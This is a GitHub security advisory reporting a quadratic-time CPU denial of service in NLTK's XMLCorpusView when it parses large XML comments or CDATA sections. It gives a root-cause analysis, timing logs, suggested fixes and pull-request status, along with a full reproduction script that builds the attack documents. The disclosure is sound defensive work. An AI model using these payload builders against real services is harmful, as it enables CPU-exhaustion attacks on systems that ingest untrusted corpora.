Skip to main content
Menu
Advisories

NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service

GHSA-J8G8-J4J7-8J54Published Updated GitHub

Description

affected: PyPI nltk >= 3.6 — nltk.corpus.reader.xmldocs.XMLCorpusView streaming read (and the nps_chat / framenet readers built on it) dynamically reproduced: 3.6 (6/6 checks), 3.9.2 (6/6), 3.10.3 (6/6) and develop 6818767b9 (6/6)

---

Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel's `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel.

Summary

An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. XMLCorpusView is NLTK's documented streaming API for XML corpora and is instantiated directly by the NPSChatCorpusReader and FramenetCorpusReader readers; the module header (xmldocs.py:16-20) explicitly handles untrusted corpus XML. The in_tag guard added to this function for GHSA-vp2x covers only a single oversized <...> tag and leaves the CDATA/comment path quadratic in the current release.

Details

Root cause: _read_xml_fragment (xmldocs.py:273-338) accumulates the file into one fragment string in _BLOCK_SIZE (1024) character chunks (xmldocs.py:123, 298-299). After every block that is not yet a well-formed prefix, the fragment is re-validated against _VALID_XML_RE. Two whole-buffer operations dominate:

# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))
    return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">":            # O(1) for this input class:
    ...                                                     # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
    ...

For this input class the re.search probe at xmldocs.py:312 is O(1): the fragment always starts with < (e.g. <root>…), so the first </> character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at xmldocs.py:308 and xmldocs.py:329 (the latter scans the buffer up to the most recent <, which for this input sits near the end of the buffer).

_VALID_XML_RE (xmldocs.py:238-249) is a linear regex (its tempered-dot comment/CDATA bodies (?:(?!-->).)* / (?:(?!\]\]>).)* scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the match itself fails after scanning the whole buffer. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.

The in_tag guard added for GHSA-vp2x (xmldocs.py:283-305) tracks only bare </> characters: it is True inside an unclosed <...> tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary </> inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at xmldocs.py:283-289 even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.

The single-match cost is linear, not super-linear: the embedded script measures _VALID_XML_RE.match() on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.

Version nuance (all dynamically verified):

  • 3.10.3 / develop (guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.
  • 3.6 / 3.9.2 (pre-guard): these releases use a lazy _VALID_XML_RE whose CDATA alternative <![CDATA[.*?]]> never matches (the [CDATA[.*?] substring is parsed as a character class), so a CDATA document is rejected with ValueError: Unexpected end of file: tag not closed after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.

PoC

The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing </> characters with no --> before the final marker, drives XMLCorpusView's fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.

Scope note: dynamically run on 3.6, 3.9.2, 3.10.3 (released wheels from PyPI / the local 3.10.3 wheel) and develop 6818767b9 (checked out source). No releases outside those were run; the >= 3.6 bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.

Live transcript (recorded run on the 3.10.3 wheel; the 3.6, 3.9.2 and develop 6818767b9 runs are summarized below):

[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)  (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n->returned)
[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)
[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)
[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)  (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document  (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed

Other runs (all 6/6; essential lines only):

3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76

(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)

Impact

  • Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.
  • Who is impacted: any deployment that feeds corpus XML to XMLCorpusView (or to the nps_chat / framenet readers) from a source not fully trusted — the exact "untrusted input" threat model in SECURITY.md. The input is ordinary, well-formed XML; nothing about it is malformed or rejected by any parser.
  • Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with </> characters and the terminator at the end. No privilege and no user interaction are required beyond the automated read of the file — the same delivery model as other NLTK resource-loading issues (SECURITY.md), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies UI:N and AV:N in the score above.
  • Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.

Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like in_tag already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed <!... construct (no ]]> / --> / doctype terminator yet), and skip the whole-buffer matches at xmldocs.py:308 and xmldocs.py:329 whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing nltk/test/unit/test_quadratic_dos.py cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.

---

Reproduction script (self-contained)

#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).

Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.

The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.

Controls:
  1. Well-formedness: the attack document parses with ElementTree.
  2. Linear baseline on the same reader: an oversized *single tag* of the same
     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
     case). On pre-guard builds it is quadratic too -- reported, not asserted.
  3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
     same sink.

Assertions:
  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
  - tag-control doubling ratio must be ~linear (< 8) when the guard is present.

Usage:
    python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
    PYTHONPATH : site-packages of the nltk version under test (required)
    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time

import xml.etree.ElementTree as ET

# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
    _DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
    os.environ["NLTK_DATA"] = _DATA_ROOT
    _CLEANUP_ROOT = _DATA_ROOT

from nltk.corpus.reader.xmldocs import XMLCorpusView


def elapsed(fn):
    start = time.perf_counter()
    fn()
    return time.perf_counter() - start


def build_comment_doc(body_size):
    # Well-formed XML: one root, one large comment containing '<' and '>' and
    # no '-->' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><!-- " + body + " --></root>"


def build_cdata_doc(body_size):
    # Well-formed XML: one root, one large CDATA containing '<' and '>' and no
    # ']]>' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body + "]]></root>"


def build_unclosed_cdata_prefix(body_size):
    # The line-308 match input: an accumulating fragment that is still inside
    # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
    # reuse with the attack-timing buffers above, which would skew the timing.
    body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body


def build_giant_tag(body_size):
    # Control: a single oversized '<a ...>' tag, no '>' until the very end.
    return "<a " + ("x" * body_size) + ">"


def guard_present():
    import nltk.corpus.reader.xmldocs as m

    with open(m.__file__, encoding="utf-8") as fh:
        return "in_tag" in fh.read()


view = XMLCorpusView.__new__(XMLCorpusView)
results = []


def check(name, cond, detail=""):
    results.append(bool(cond))
    print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f"  ({detail})" if detail else ""))


def read_frag(doc):
    """Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
    releases raise for CDATA-containing documents."""
    try:
        return view._read_xml_fragment(io.StringIO(doc))
    except ValueError as exc:
        return "ValueError: %s" % exc


def time_ratio(build, n1, n4):
    d1, d4 = build(n1), build(n4)
    t1 = elapsed(lambda: read_frag(d1))
    t4 = elapsed(lambda: read_frag(d4))
    return d1, d4, t1, t4


# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20  # 1 MiB / 4 MiB (guard-present linear baseline)

# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1)  # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  "
      f"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n->{outcome})")
check(
    "attack document is well-formed XML (parses with ElementTree)",
    ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
    f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
    "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
    ratio > 10.0,
    f"measured {ratio:.1f}",
)

# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  "
      f"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n->{doutcome})")
if has_guard:
    check(
        "CDATA variant also super-linear on guard-present build",
        dratio > 10.0,
        f"measured {dratio:.1f}",
    )
else:
    # Pre-guard releases cannot validate any CDATA (their regex's CDATA
    # alternative never matches), so the fragment ends in ValueError -- a
    # separate functional defect; report only.
    check(
        "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
        doutcome.startswith("ValueError"),
        str(doutcome),
    )

# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)
    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))


ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 << 18]:.4f}s  512KiB={ms[1 << 19]:.4f}s  "
      f"1MiB={ms[1 << 20]:.4f}s  2MiB={ms[1 << 21]:.4f}s")
check(
    "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
    ms[1 << 21] / ms[1 << 19] < 6.0,
    f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)

# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  "
          f"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
        gratio < 8.0,
        f"measured {gratio:.1f}",
    )
else:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  "
          f"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag also super-linear pre-guard (report-only)",
        gratio > 4.0,
        f"measured {gratio:.1f}",
    )

# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
    fh.write(c1)
try:
    items = list(XMLCorpusView(path, ".*"))
    check(
        "public API list(XMLCorpusView(path, '.*')) reads the attack document",
        len(items) >= 1,
        f"{len(items)} item(s) read from {len(c1)}-byte document",
    )
finally:
    if _CLEANUP_ROOT:
        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)

passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

Two open pull requests carry a fix.

PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).

The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).

Release: none.

Affected versions

References